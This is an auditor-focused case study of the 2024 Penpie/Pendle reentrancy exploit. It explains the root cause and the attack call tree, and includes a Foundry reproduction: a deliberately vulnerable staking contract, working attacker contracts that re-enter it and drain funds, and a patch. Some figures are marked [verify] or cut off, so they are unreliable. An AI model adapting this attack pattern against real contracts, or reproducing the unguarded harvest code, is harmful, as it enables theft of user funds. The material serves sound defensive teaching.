Case: Penpie / Pendle Reentrancy (September 2024)
“Eight years after The DAO, the same bug class drained $27M from a yield aggregator that had been audited multiple times. Penpie is not a ‘reentrancy nostalgia’ case — it’s the modern shape of the bug: a privileged batch-reward function with a missing guard, an external call to a user-registered contract treated as if it were trusted, and an off-by-one in the trust boundary that an attacker walked through with a flash loan. Read this as the curriculum-level proof that the bug class is not solved by tooling alone. It’s solved when auditors learn to trace every external call back to ‘who can deploy the address it lands on.‘”
Tags: case-study reentrancy defi yield-aggregator pendle penpie #2024 vulnerability flash-loan trust-boundary Related: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-04-Security-Foundations-CEI-AC · Tuan-07-Token-Standards-Integration-Risk · Case-The-DAO-Reentrancy-2016 · Case-Cream-Iron-Bank-2021
1. At a Glance
| Field | Value |
|---|---|
| Date | September 3, 2024 (first attack tx ~18:23 UTC on Ethereum mainnet) |
| Protocol | Penpie — a yield aggregator built on top of Pendle Finance. Penpie boosted Pendle LP / SY rewards by socializing vePENDLE voting power across its depositors. |
| Chains affected | Ethereum mainnet and Arbitrum One |
| Loss | **~27.0M – $27.8M depending on price snapshot) [verify exact USD across sources] |
| Stolen assets (approx.) | 4,101 agETH ( |
| Post-attack consolidation | Attacker swapped most loot into ~11,109 ETH and began routing ~1,000 ETH at a time through Tornado Cash [verify] |
| Attacker EOAs | 0x7a2f4d625fb21f5e51562ce8dc2e722e12a61d1b, 0xc0Eb7e6E2b94aA43BDD0c60E645fe915d5c6eb84 [verify] |
| Attack contracts | Ethereum: 0x4aF4C234B8CB6e060797e87AFB724cfb1d320Bb7 · Arbitrum: 0x4BC9815b859c8172CEe1ab2CD372fD0Eb00eb487 [verify] |
| Fake Pendle Market | 0x0ab305033592E16dB7D8e77d613F8d172a76ddc9 [verify] |
| First attack tx (Ethereum) | 0x56e09abb35ff12271fdb38ff8a23e4d4a7396844426a94c4d3af2e8b7a0a2813 [verify] |
| Class | Cross-contract reentrancy via attacker-controlled reward token in a privileged batch-harvest function whose inner per-market loop lacked a reentrancy guard and whose reward accounting relied on a balance-delta (before/after) pattern. |
| Root cause (one sentence) | PendleStakingBaseUpg.batchHarvestMarketRewards invoked IPendleMarket.redeemRewards on a user-registered market whose SY reward-token was attacker-controlled; that SY contract re-entered depositMarket() mid-harvest, inflating the recorded reward delta, which was then distributed to the attacker as sole depositor of the fake market. |
| Outcome | Pendle paused all markets |
| Audit history | Penpie’s original core contracts had been audited multiple times in 2023; the permissionless market-registration feature added in May 2024 was audited by AstraSec — but PendleStakingBaseUpg itself was deemed “unchanged” and was out of scope for that audit. The bug lived precisely in the unchanged code’s interaction with the newly user-controllable input. |
2. Background
2.1 What Pendle is, in one paragraph
Pendle Finance is a protocol for tokenizing yield. A yield-bearing asset (e.g., Lido stETH, Ethena sUSDe, Renzo ezETH) is wrapped into a Pendle SY token (“Standardized Yield”), which is then split into:
- PT (Principal Token) — redeemable for 1 unit of the underlying at maturity. Trades at a discount; behaves like a zero-coupon bond.
- YT (Yield Token) — entitles holder to the yield accrued by the underlying between now and maturity.
A Pendle Market is an AMM that pairs PT against SY for a specific maturity. LP-ing into a market earns swap fees and PENDLE incentives. Each Pendle Market has an associated SY contract; Market.redeemRewards(user) is the function any external system calls to pull the user’s pending PENDLE + underlying yield from the market. Internally, redeemRewards calls into the SY contract — which in normal operation is a Pendle-deployed, audited wrapper around a real yield source.
The critical word above is “in normal operation.” The Penpie bug lived in the gap between “normal” and “any market that has been registered with Pendle Finance.”
2.2 What Penpie was layering on top
Penpie is a yield aggregator / boost protocol for Pendle, modelled after Convex-for-Curve. Users deposit Pendle LP tokens into Penpie; Penpie deposits them into Pendle and uses its own large vePENDLE lock to boost the rewards. Boost gets socialized to depositors as mPENDLE plus the underlying market rewards.
For our purposes, the relevant Penpie components are:
| Contract | Role |
|---|---|
PendleStakingBaseUpg | Holds the Penpie-owned vePENDLE. Receives deposits, calls into Pendle markets to harvest rewards, distributes harvested rewards to Penpie depositors via MasterPenpie. |
MasterPenpie | The “MasterChef” of Penpie. Tracks per-user, per-market staking shares and accrued rewards. Pays out via multiclaim. |
PenpieReceiptToken | One per registered Pendle market: an ERC-20 “receipt” minted to depositors. |
PendleMarketRegisterHelper | The factory/permissionless-registration helper added in May 2024 that let anyone point Penpie at any Pendle-registered market. |
2.3 The reward-harvest flow (before the exploit)
Pseudo-flow for a single Pendle market M:
keeper / user → PendleStakingBaseUpg.batchHarvestMarketRewards([M_1, M_2, ...])
↓
for each M_i:
rewardTokens = M_i.getRewardTokens() ← list of token addresses
amountsBefore[i] = balanceOf(self, rewardTokens) ← snapshot
M_i.redeemRewards(self) ← ❶ external call into Pendle
amountsAfter[i] = balanceOf(self, rewardTokens) ← snapshot
delta = amountsAfter - amountsBefore ← "harvested" amount
MasterPenpie.queueNewRewards(M_i, rewardTokens, delta) ← attributed to M_i's stakers
This is a textbook balance-delta pattern, and it is fine if and only if:
- The set of
rewardTokensis fixed and trusted. M_i.redeemRewards(self)cannot, during its execution, increase the holder’s balance inrewardTokensthrough any path other than rewards from marketM_i.
The Penpie hack is the proof — by counterexample — that both assumptions held only because nobody had considered the case where M_i is a market the attacker registered, whose SY contract the attacker also controls, whose redeemRewards is attacker code, and whose nominal “reward tokens” include real tokens (wstETH, sUSDe, etc.) that the attacker can deposit into Penpie via a re-entry during the call to redeemRewards.
2.4 The May 2024 change: permissionless market registration
Before May 2024, Penpie’s set of supported Pendle markets was governance-gated. To onboard a new market, a Penpie admin called registerPenpiePool(market) after manual review.
In May 2024 the team shipped permissionless registration: anyone could now call PendleMarketRegisterHelper.registerPenpiePool(market) with a market address, and Penpie would accept it provided that the market was registered on Pendle Finance itself. The intent was good — let Penpie integrate any new Pendle market without governance overhead — and the gating (“must be registered on Pendle”) felt like a real constraint.
But registration on Pendle Finance does not mean “trusted SY”: Pendle’s factory itself permits creating a market against any SY-compliant contract. An attacker can deploy a malicious SY that behaves like a real Pendle SY for read calls (returns getRewardTokens, accepts deposits) but executes arbitrary code on the redeemRewards callback.
This is the trust-boundary expansion that made the bug exploitable. The PendleStakingBaseUpg code did not change in May 2024; what changed was the set of addresses that batchHarvestMarketRewards could be made to call into. AstraSec’s scope was the new helper; the unchanged staking contract was assumed safe because it had been audited in its 2023 form. Audit firms call this gap “delta scoping.” The Penpie case is the canonical example of why delta scoping is dangerous: when you expand a system’s inputs, you must re-audit every consumer of those inputs.
3. The Vulnerability
3.1 The bug in one paragraph
PendleStakingBaseUpg.batchHarvestMarketRewards was missing a nonReentrant modifier. Its per-market inner step did:
- Read
rewardTokensfrom the market. - Snapshot balances
amountsBefore. - Call
market.redeemRewards(address(this)). - Snapshot balances
amountsAfterand compute deltas. - Forward deltas to
MasterPenpieas new rewards for that market.
Because market.redeemRewards ultimately hands control to the attacker-controlled SY contract (which sits inside the market), step 3 is an external call to attacker code. During that call, the attacker re-enters Penpie via depositMarket(realMarket, flashLoanAmount). depositMarket was nonReentrant, but the guard is per-function, and its outer caller batchHarvestMarketRewards did not take the same lock. So depositMarket happily executed mid-harvest, sending Penpie’s records of “real market” reward tokens into the attacker’s deposit, which increased Penpie’s balance in rewardTokens (because depositing a yield-bearing token into Penpie pushes tokens into the staking contract). By the time redeemRewards returned and amountsAfter was sampled, the recorded delta was inflated by the flash-loaned deposit, and that inflated delta was attributed to the fake market — of which the attacker was the sole depositor. The attacker then called multiclaim to extract those rewards.
3.2 The vulnerable function — sketch
A schematic of the offending code (paraphrased; matches the public bytecode and the reconstruction in [Three Sigma], [Halborn], [QuillAudits], and [SlowMist] [verify against verified Etherscan source]):
// PendleStakingBaseUpg — paraphrased, NOT verbatim. See sources for exact code.
function batchHarvestMarketRewards(
address[] calldata _markets,
uint256 minEthToReceive // slippage-style guard, irrelevant to bug
) external { // ← ❌ no nonReentrant
for (uint256 i = 0; i < _markets.length; i++) {
_harvestSingleMarket(_markets[i]);
}
}
function _harvestSingleMarket(address _market) internal {
address[] memory rewardTokens = IPendleMarket(_market).getRewardTokens();
uint256 len = rewardTokens.length;
uint256[] memory amountsBefore = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
amountsBefore[i] = IERC20(rewardTokens[i]).balanceOf(address(this));
}
// ─── EXTERNAL CALL TO ATTACKER-CONTROLLED CODE ──────────────────────
IPendleMarket(_market).redeemRewards(address(this));
// ────────────────────────────────────────────────────────────────────
// Between this call's entry and return, attacker re-enters
// depositMarket(realMarket, hugeAmount). That deposit increases
// this contract's balance of yield-bearing tokens that *happen to
// be in `rewardTokens` of the fake market.*
uint256[] memory amountsAfter = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
amountsAfter[i] = IERC20(rewardTokens[i]).balanceOf(address(this));
}
for (uint256 i = 0; i < len; i++) {
uint256 delta = amountsAfter[i] - amountsBefore[i]; // ← inflated!
if (delta == 0) continue;
// Credit `delta` as rewards for `_market` — but _market is the
// FAKE market; the attacker is its sole staker.
IERC20(rewardTokens[i]).safeTransfer(address(masterPenpie), delta);
IMasterPenpie(masterPenpie).queueNewRewards(_market, rewardTokens[i], delta);
}
}
function depositMarket(address _market, uint256 _amount) external nonReentrant {
// ↑ has the guard — but the guard's storage slot is set on entry to
// depositMarket, NOT on entry to batchHarvestMarketRewards. So
// re-entering depositMarket FROM INSIDE batchHarvestMarketRewards is
// perfectly allowed: the guard sees `_status == _NOT_ENTERED` because
// the outer call never touched it.
_depositMarket(_market, _amount, msg.sender);
}3.3 Why nonReentrant on depositMarket did not help
This is the single most important auditor lesson in the case. nonReentrant in OpenZeppelin’s ReentrancyGuard is a per-modifier lock: it flips _status from _NOT_ENTERED to _ENTERED on entry, and back on exit. Re-entry into any function that uses the same modifier is blocked. Re-entry into a function that does not use the modifier — like the unprotected batchHarvestMarketRewards — is allowed.
But that’s not the bug shape here. The bug shape is the inverse: the outer call is unprotected; the inner function the attacker re-enters into is protected. From the inner function’s point of view, the lock looks clean (because the outer caller never set it). From an attacker’s point of view, the lock might as well not exist.
Fix this in your mental model: a nonReentrant modifier protects re-entries into the modifier; it does not protect from re-entries out of unprotected siblings. If you have a privileged function that calls into external (possibly untrusted) code, that function — not just its callees — needs the lock.
3.4 Why the “delta accounting” pattern amplified the damage
The flash-loan deposit path looks like this from PendleStakingBaseUpg’s books:
balanceBefore_wstETH = 100 // Penpie's existing wstETH reserves
// (parked from prior real harvests)
↓ attacker re-enters via depositMarket(realMarket_wstETH, 2_700e18)
balanceAfter_wstETH = 100 + 2_700 // ← because depositMarket pulled
// flash-loaned wstETH into Penpie
delta = 2_700 // ← Penpie thinks it harvested 2,700 wstETH
// FROM THE FAKE MARKET
The attacker’s fake market lists wstETH (among others) as a reward token. So Penpie now believes the fake market produced 2,700 wstETH of yield, and it queues that as rewards for the fake market’s stakers — which is only the attacker. The attacker then claims it via multiclaim, repays the Balancer flash loan, and exits with the difference.
Three independent failures stack to make this work:
- No reentrancy lock on
batchHarvestMarketRewards. - Balance-delta accounting that cannot distinguish “harvested rewards” from “deposits that arrived during the harvest window.”
- Permissionless market registration with no validation that the SY contract is non-malicious — i.e., the trust boundary for
rewardTokensandredeemRewardswas wider thanbatchHarvestMarketRewardsassumed.
Any one of these, fixed, would have killed the exploit. That’s a useful auditor framing: count the number of independent defenses you would need to break to drain the protocol. For Penpie the answer was one (add nonReentrant), but defense-in-depth said three.
3.5 The trust-boundary lens
The clearest single way to remember this case:
When your privileged code calls
someContract.someFunction()wheresomeContractcame from a user, you have just delegated execution to the user, in the middle of your function, with your balances and your storage available to subsequent re-entries.
This is exactly the same shape as Cream/Iron Bank 2021 (where the “user-supplied” contract was an ERC-777 token whose tokensReceived hook re-entered the lender), and exactly the same shape as The DAO 2016 (where the “user-supplied” contract was the user’s own EOA-or-contract receiving a payout). The mechanism gets fancier — flash loans, fake markets, balance-delta accounting — but the physics is identical: external call to attacker code in the middle of a state transition.
4. The Attack
4.1 Preparation (days–hours before)
The attacker carried out preparatory steps that, viewed alone, looked benign:
- Deployed a malicious SY contract, hereafter
EvilSY. It implementsIStandardizedYield— enough of the interface thatPendleMarketFactoryaccepts it. Specifically, it returns plausible values fromgetRewardTokens()(the real wstETH / sUSDe / etc. addresses) and implements aredeemRewards()that does not redeem rewards but instead re-enters Penpie. - Deployed a fake Pendle market against
EvilSYusing the official Pendle factory. Crucially, this step is permissionless on Pendle’s side: factories permit deploying markets against any SY-compliant contract. - Provided initial liquidity to the fake market (minted some PT/YT, supplied a token pair) so that the market passes Pendle’s basic sanity checks and is recognized as “registered on Pendle Finance” — which is the only gate Penpie’s
PendleMarketRegisterHelperenforces. - Registered the fake market with Penpie via
PendleMarketRegisterHelper.registerPenpiePool(fakeMarket). Penpie now has aPenpieReceiptTokenfor the fake market andMasterPenpieis ready to track stakes against it. - Deposited a token amount into the fake market via Penpie to become “a Penpie staker of the fake market.” Because there are no other depositors, the attacker is the sole staker — and
MasterPenpie.queueNewRewards(fakeMarket, ...)will eventually credit 100% of any queued rewards to the attacker.
The attacker is now positioned: their fake market’s redeemRewards is their re-entry vector, and they own 100% of the staking shares against it.
4.2 The attack transaction (Ethereum)
A simplified call-tree for the main exploit transaction:
attacker_EOA → AttackContract.run()
├── Balancer.flashLoan(this, [wstETH, sUSDe, agETH, rswETH], [huge, ...]) ──┐
│ │
│ Inside Balancer's flashLoan callback (receiveFlashLoan): │
│ ├── PendleStakingBaseUpg.batchHarvestMarketRewards([fakeMarket]) │
│ │ │ │
│ │ ├── _harvestSingleMarket(fakeMarket) │
│ │ │ │ │
│ │ │ ├── tokens = fakeMarket.getRewardTokens() │
│ │ │ │ // returns [wstETH, sUSDe, agETH, rswETH] │
│ │ │ │ │
│ │ │ ├── amountsBefore = balanceOf(self, tokens) │
│ │ │ │ │
│ │ │ ├── fakeMarket.redeemRewards(self) │
│ │ │ │ │ │
│ │ │ │ ↓ fakeMarket forwards to EvilSY.redeemRewards │
│ │ │ │ │ │
│ │ │ │ ├── EvilSY.redeemRewards(self): │
│ │ │ │ │ │ │
│ │ │ │ │ ├── PendleStaking.depositMarket(realMarket_wstETH, flashLoaned_wstETH)
│ │ │ │ │ ├── PendleStaking.depositMarket(realMarket_sUSDe, flashLoaned_sUSDe)
│ │ │ │ │ ├── PendleStaking.depositMarket(realMarket_agETH, flashLoaned_agETH)
│ │ │ │ │ └── PendleStaking.depositMarket(realMarket_rswETH, flashLoaned_rswETH)
│ │ │ │ │ ↑ │
│ │ │ │ │ Each depositMarket pulls flash-loaned │
│ │ │ │ │ tokens from `this` (the AttackContract) │
│ │ │ │ │ into `PendleStakingBaseUpg`. The receipt │
│ │ │ │ │ tokens are minted to AttackContract. │
│ │ │ │ │ │
│ │ │ │ │ These deposits hit `nonReentrant` on │
│ │ │ │ │ depositMarket. The guard's lock is FREE │
│ │ │ │ │ because batchHarvestMarketRewards never │
│ │ │ │ │ acquired it. │
│ │ │ │ │ │
│ │ │ │ └── (return — Penpie's balances now inflated) │
│ │ │ │ │
│ │ │ ├── amountsAfter = balanceOf(self, tokens) │
│ │ │ │ // inflated by exactly the flash-loaned amounts │
│ │ │ │ │
│ │ │ ├── delta[i] = amountsAfter[i] - amountsBefore[i] │
│ │ │ │ │
│ │ │ └── MasterPenpie.queueNewRewards(fakeMarket, token[i], delta[i])
│ │ │ // Credits the FAKE market's stakers with delta. The │
│ │ │ // attacker is the only staker of the fake market. │
│ │ │
│ │ MasterPenpie.multiclaim([fakeMarket]) │
│ │ // Pays the attacker the inflated rewards in wstETH/sUSDe/etc. │
│ │ │
│ ├── Withdraw deposited positions to recover most of the flash-loaned │
│ │ principal (the deposits are real Penpie deposits; they can be │
│ │ withdrawn cleanly). │
│ │ │
│ └── Repay Balancer flash loan + fee │
│ │
└─< Balancer.flashLoan returns. Attacker keeps the delta as profit. ─────────┘
Reproduced verbatim across the cited sources [verify each link]. The two key insights the diagram makes obvious:
- The reentrancy is across two distinct Penpie functions (
batchHarvestMarketRewards→depositMarket). It is not the same function re-entering itself. - The attacker’s deposits are real. They do not need to be undone for the exploit to work — the attacker withdraws them as a normal user after the inflated rewards have been claimed.
4.3 Repetition across markets and chains
The attacker repeated the pattern across multiple real markets on Ethereum, then performed the analogous flow on Arbitrum One. Total drain across both chains: ~$27M. The cross-chain timing matters: between the Ethereum and Arbitrum drains there was a window during which Pendle could have paused on both chains; in practice the Penpie/Pendle teams managed to pause Ethereum within ~20 minutes but the Arbitrum portion of the drain had already executed [verify exact ordering].
4.4 What stopped further loss
Approximately 20 minutes after the first exploit transaction, Pendle paused its core markets, which had the side effect of disabling batchHarvestMarketRewards on Penpie (the harvest path depended on redeemRewards succeeding through the Pendle market). According to Pendle/Penpie public statements, this saved an estimated ~$105M that remained at risk in vePENDLE / Penpie-deposited LPs [verify].
The pause itself underscores a generalizable point: kill switches earn their keep in minutes, not days. Protocols without functional emergency-pause infrastructure should not be assumed safe just because they are immutable — immutability and resilience are different properties.
5. Reproduction in Foundry
Below is a stripped-down model of the bug. We’re not reproducing Pendle’s full SY/PT/YT machinery; we’re reproducing the shape — a privileged harvester that delegates to an attacker-controlled “market,” with a per-function reentrancy guard on a sibling function rather than the harvester.
5.1 Victim contract
// src/PenpieMini.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IMiniMarket {
function getRewardTokens() external view returns (address[] memory);
function redeemRewards(address user) external;
}
contract MiniMasterPenpie {
using SafeERC20 for IERC20;
// market => token => totalAccrued
mapping(address => mapping(address => uint256)) public accrued;
// market => user => share (1e18 fixed)
mapping(address => mapping(address => uint256)) public shares;
// market => total shares
mapping(address => uint256) public totalShares;
// market => token => paidOutPerShare (simplified single-staker accounting)
mapping(address => mapping(address => uint256)) public claimed;
function addShare(address market, address user, uint256 amount) external {
shares[market][user] += amount;
totalShares[market] += amount;
}
function queueNewRewards(address market, address token, uint256 amount) external {
accrued[market][token] += amount;
}
function claim(address market, address[] calldata tokens, address to) external {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 owed = accrued[market][tokens[i]];
uint256 paid = claimed[market][tokens[i]];
if (owed > paid) {
uint256 pay = owed - paid;
claimed[market][tokens[i]] = owed;
IERC20(tokens[i]).safeTransfer(to, pay);
}
}
}
}
/// @title PenpieMini — deliberately vulnerable model of PendleStakingBaseUpg
/// @notice DO NOT DEPLOY. Reproduces the Penpie 2024 bug shape.
contract PenpieMini is ReentrancyGuard {
using SafeERC20 for IERC20;
MiniMasterPenpie public master;
constructor(MiniMasterPenpie _master) { master = _master; }
// ⚠️ NO nonReentrant — this is the bug.
function batchHarvestMarketRewards(address[] calldata _markets) external {
for (uint256 i = 0; i < _markets.length; i++) {
_harvestSingleMarket(_markets[i]);
}
}
function _harvestSingleMarket(address _market) internal {
address[] memory rewardTokens = IMiniMarket(_market).getRewardTokens();
uint256 len = rewardTokens.length;
uint256[] memory before_ = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
before_[i] = IERC20(rewardTokens[i]).balanceOf(address(this));
}
// 💥 hands control to attacker-controlled market
IMiniMarket(_market).redeemRewards(address(this));
for (uint256 i = 0; i < len; i++) {
uint256 after_ = IERC20(rewardTokens[i]).balanceOf(address(this));
uint256 delta = after_ - before_[i];
if (delta == 0) continue;
IERC20(rewardTokens[i]).safeTransfer(address(master), delta);
master.queueNewRewards(_market, rewardTokens[i], delta);
}
}
/// @dev depositMarket has its own nonReentrant guard, BUT batchHarvest does not.
/// The guard protects re-entry into depositMarket, NOT into batchHarvest.
function depositMarket(address _market, IERC20 token, uint256 amount) external nonReentrant {
token.safeTransferFrom(msg.sender, address(this), amount);
// In real Penpie, this also mints a receipt and credits MasterPenpie shares.
master.addShare(_market, msg.sender, amount);
}
}5.2 Attacker contracts — the fake market and the runner
// test/EvilMarket.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../src/PenpieMini.sol";
/// @notice Pretends to be a Pendle market for Penpie. On redeemRewards, hands
/// control to the attack-runner contract.
contract EvilMarket {
address public runner; // attack contract
address[] public rewardTokens; // real token addresses (wstETH, sUSDe, …)
constructor(address _runner, address[] memory _rewardTokens) {
runner = _runner;
rewardTokens = _rewardTokens;
}
function getRewardTokens() external view returns (address[] memory) {
return rewardTokens;
}
function redeemRewards(address /* user */) external {
// Re-enter Penpie via the runner.
IRunner(runner).onRedeem();
}
}
interface IRunner {
function onRedeem() external;
}
contract AttackRunner is IRunner {
PenpieMini public penpie;
MiniMasterPenpie public master;
IERC20 public token; // single-token toy version
EvilMarket public fakeMarket;
address public realMarket; // any address, just a registry key
uint256 public flashAmount;
constructor(
PenpieMini _penpie,
MiniMasterPenpie _master,
IERC20 _token,
address _realMarket
) {
penpie = _penpie;
master = _master;
token = _token;
realMarket = _realMarket;
address[] memory rt = new address[](1);
rt[0] = address(_token);
fakeMarket = new EvilMarket(address(this), rt);
// become the sole "staker" of the fake market in MasterPenpie's eyes
master.addShare(address(fakeMarket), address(this), 1);
}
/// @notice Simulates the flash-loan callback path: token is already in
/// this contract; approve Penpie; trigger harvest.
function run(uint256 _flashAmount) external {
flashAmount = _flashAmount;
token.approve(address(penpie), type(uint256).max);
address[] memory markets = new address[](1);
markets[0] = address(fakeMarket);
penpie.batchHarvestMarketRewards(markets);
// Claim the inflated rewards credited to fakeMarket against our share.
address[] memory tokens = new address[](1);
tokens[0] = address(token);
master.claim(address(fakeMarket), tokens, address(this));
}
/// @dev EvilMarket calls back here mid-harvest. We deposit into a real market.
/// Penpie's balance of `token` increases; harvest delta is inflated.
function onRedeem() external override {
require(msg.sender == address(fakeMarket), "not market");
penpie.depositMarket(realMarket, token, flashAmount);
}
}5.3 Foundry test
// test/PenpieMini.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/PenpieMini.sol";
import "./EvilMarket.sol";
contract MockToken is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract PenpieReentrancyTest is Test {
MockToken token;
MiniMasterPenpie master;
PenpieMini penpie;
AttackRunner runner;
address constant REAL_MARKET = address(0xBEEF);
function setUp() public {
token = new MockToken();
master = new MiniMasterPenpie();
penpie = new PenpieMini(master);
// Seed Penpie with some pre-existing balance from "real" prior harvests.
token.mint(address(penpie), 100 ether);
runner = new AttackRunner(penpie, master, token, REAL_MARKET);
// Give the runner a "flash loan" of 2,700 tokens.
token.mint(address(runner), 2_700 ether);
}
function test_drainViaBatchHarvestReentrancy() public {
uint256 attackerBefore = token.balanceOf(address(runner));
uint256 penpieBefore = token.balanceOf(address(penpie));
emit log_named_uint("attacker token BEFORE", attackerBefore);
emit log_named_uint("penpie token BEFORE", penpieBefore);
runner.run(2_700 ether);
uint256 attackerAfter = token.balanceOf(address(runner));
uint256 penpieAfter = token.balanceOf(address(penpie));
emit log_named_uint("attacker token AFTER", attackerAfter);
emit log_named_uint("penpie token AFTER", penpieAfter);
// The attacker pocketed Penpie's pre-existing 100 tokens
// (the "delta" credited to fakeMarket) on top of their flash-loaned 2,700.
// After they repay the (zero-fee, in our model) flash loan, profit > 0.
assertGt(attackerAfter, attackerBefore - 2_700 ether, "no profit");
assertLt(penpieAfter, penpieBefore, "penpie not drained");
}
}Run:
forge test --match-test test_drainViaBatchHarvestReentrancy -vvv5.4 Expected numbers (toy version)
- Penpie starts with 100 tokens of legitimate prior-harvest reserves.
- Attacker holds 2,700 tokens (the “flash loan”).
- During the attack:
batchHarvestMarketRewards([fakeMarket])snapshots Penpie’s balance = 100.fakeMarket.redeemRewardsre-enters and callsdepositMarket(REAL_MARKET, 2_700), pulling 2,700 tokens from the runner into Penpie. Penpie’s balance is now 2,800.- On return,
amountsAfter[0] = 2_800,delta = 2_700. Penpie transfers 2,700 to MasterPenpie and credits the fake market with 2,700 of token rewards. - The runner (only staker of the fake market) claims those 2,700.
- Net flow: the runner deposited 2,700 (recoverable via withdraw), claimed back 2,700 of attribution rewards, plus pulled out Penpie’s 100 of pre-existing reserves (because the delta accounting attributed even Penpie’s prior holdings to the fake market on this pass).
The real exploit was bigger because (a) it ran across many markets simultaneously, (b) flash loans were sized to maximize the per-market delta, and (c) the production accounting also credited the attacker with claims on the underlying yield, not just the snapshotted delta. But the shape is identical.
5.5 Patch — minimum sufficient
// Apply nonReentrant to batchHarvest itself.
function batchHarvestMarketRewards(address[] calldata _markets)
external
nonReentrant // ← THE FIX
{
for (uint256 i = 0; i < _markets.length; i++) {
_harvestSingleMarket(_markets[i]);
}
}Re-run the test: depositMarket reverts mid-callback with ReentrancyGuardReentrantCall because both functions now share the same lock. The drain stops at zero.
5.6 Defense-in-depth patches
The single-line fix above is necessary but not sufficient. A robust remediation would also:
- Allow-list reward tokens.
_harvestSingleMarketshould validate that every entry ofgetRewardTokens()is in a protocol-curated set. Attacker-controlled SY contracts can otherwise inject any token address into the reward set, including a maliciously crafted ERC-20 that performs additional reentrancy onbalanceOf(read-only reentrancy vector). - Re-validate market provenance at registration time. Don’t accept “any market registered with Pendle Finance”; require the market’s SY to be in a Penpie-maintained allowlist of SYs, or at least bound the reward tokens to a whitelist.
- Move from balance-delta to push accounting. Have the SY (or a trusted adapter) call back into Penpie with the exact reward delta as an argument, with appropriate sender authentication. Pull-based balance-delta is an accounting smell whenever the puller’s balance can change for reasons other than the pull.
- Make
depositMarketreject deposits while a harvest is in progress — either via a contract-wide mutex that both functions take, or via a “harvest phase” flag. - Add invariant-style runtime checks: after the harvest, assert that
sum(delta[i]) <= maxPlausibleYield(market)(e.g., delta cannot exceed some pre-computed cap derived from market TVL × time-since-last-harvest × max-APY). An invariant of this form would have made the exploit fail loudly even with the reentrancy guard absent.
6. Aftermath
6.1 Immediate response
- 18:23 UTC — first exploit transaction lands on Ethereum mainnet [verify].
- ~18:45 UTC — Pendle Finance pauses its core markets on Ethereum (and shortly thereafter on Arbitrum). This pause was the real circuit breaker: because Penpie’s harvest path depends on Pendle markets responding, pausing Pendle pauses Penpie’s exposure. The 20-minute response time is fast by historical DeFi norms (many incidents in 2022–2023 had pause windows measured in hours).
- Hours later — Penpie team announces the incident, freezes Penpie contracts.
- Same evening — Pendle states the pause has safeguarded approximately $105M of additional value that would otherwise have been drainable. [verify]
6.2 Negotiation attempt
Penpie made the customary public appeal: a transaction to the attacker’s EOA offering a **10% bug bounty (~24.5M, with a “no questions asked” assurance. The attacker did not respond. Within hours of the exploit, the first 1,000 ETH tranche moved into Tornado Cash; further tranches followed over subsequent days. The funds are now considered laundered and unrecoverable through ordinary on-chain attribution.
This is the modal outcome for sophisticated DeFi exploits since 2022. The fraction of exploits where attackers return funds in exchange for a bounty has dropped substantially as Tornado Cash and cross-chain bridges have lowered the cost of laundering. Auditors should not treat “we’ll negotiate a return” as a viable response strategy. Treasury / cold-storage controls, kill switches, and pre-incident insurance arrangements matter more than negotiation playbooks.
6.3 Disclosure and post-mortem timeline
| Date | Event |
|---|---|
| Sep 3, 2024 | Exploit. Pendle pauses. Penpie pauses. |
| Sep 4, 2024 | Public post-mortems from BlockSec, PeckShield, SlowMist, Halborn within ~24 hours. |
| Sep 5–7, 2024 | Penpie publishes its own post-mortem and remediation plan on its Mirror/Medium blog. [verify exact dates] |
| Sep–Oct 2024 | Penpie reimbursement plan finalized; vePENDLE / mPENDLE holders take a partial loss. |
| Late 2024 | Penpie resumes operations with re-audited contracts: reentrancy guard added on batchHarvestMarketRewards, market-registration tightened, reward-token whitelist introduced. [verify scope] |
6.4 The audit-scope failure
Two firms audited Penpie:
- 2023 audit (multiple firms): covered the original
PendleStakingBaseUpgincludingbatchHarvestMarketRewards. At that time, market registration was permissioned, so the trust assumption “markets are protocol-vetted” was valid andbatchHarvest’s lack of a reentrancy guard was a thin but defensible “trust-the-input” design. - May 2024 audit by AstraSec: covered the new
PendleMarketRegisterHelper(the permissionless-registration path). Scope was the helper.PendleStakingBaseUpgwas deemed “unchanged” and excluded.
The bug was the interaction between an unchanged consumer and a changed input source. Neither audit pass had both in scope. Every audit firm in the industry has since cited this as a textbook case for whole-system re-audit on trust-boundary expansion, not just delta-audit of changed code.
The auditor’s reflex going forward must be:
- When a parameter or address that was protocol-vetted becomes user-supplied, every function that consumes that parameter must be re-audited, no matter how unchanged it appears in
git diff. - A
nonReentrantmodifier whose presence relied on “but the input is trusted” is a latent vulnerability waiting for that input to become untrusted.
6.5 Effect on yield aggregators broadly
The Penpie incident triggered a broader re-examination of the Convex-style yield-aggregator pattern:
- Several Convex-clone protocols (across chains) added contract-wide reentrancy guards on their batch-harvest paths within weeks.
- Pendle published a hardened SY interface guide for integrators recommending adapter contracts that mediate between integrators and Pendle markets, with the adapter enforcing reward-token validity.
- Insurance protocols (Nexus Mutual, Sherlock) re-priced Pendle-ecosystem coverage; some refused new policies on yield aggregators with permissionless market registration until they could review the design.
The longer-term industry effect mirrors the post-Cream-2021 pattern: a category of protocol gets cheaper-to-insure once the bug class is widely understood and remediated, but for several months after, the cost of doing business in that category goes up. Auditors working on greenfield yield aggregators in 2025–2026 should treat “Penpie shape” as a required negative test in every engagement.
7. Lessons for Auditors
7.1 Trust boundaries are not where the code is — they’re where the data comes from
The single sentence that summarizes Penpie:
Penpie’s
batchHarvestMarketRewardsdid not change. The set of addresses it could be made to call did.
Auditing-by-diff fails here because the diff is empty in the vulnerable function. Auditing-by-data-flow catches it: trace _markets[i] backward through register → factory → user, and the answer “anyone with a Pendle-registered market” is alarming the moment you see it.
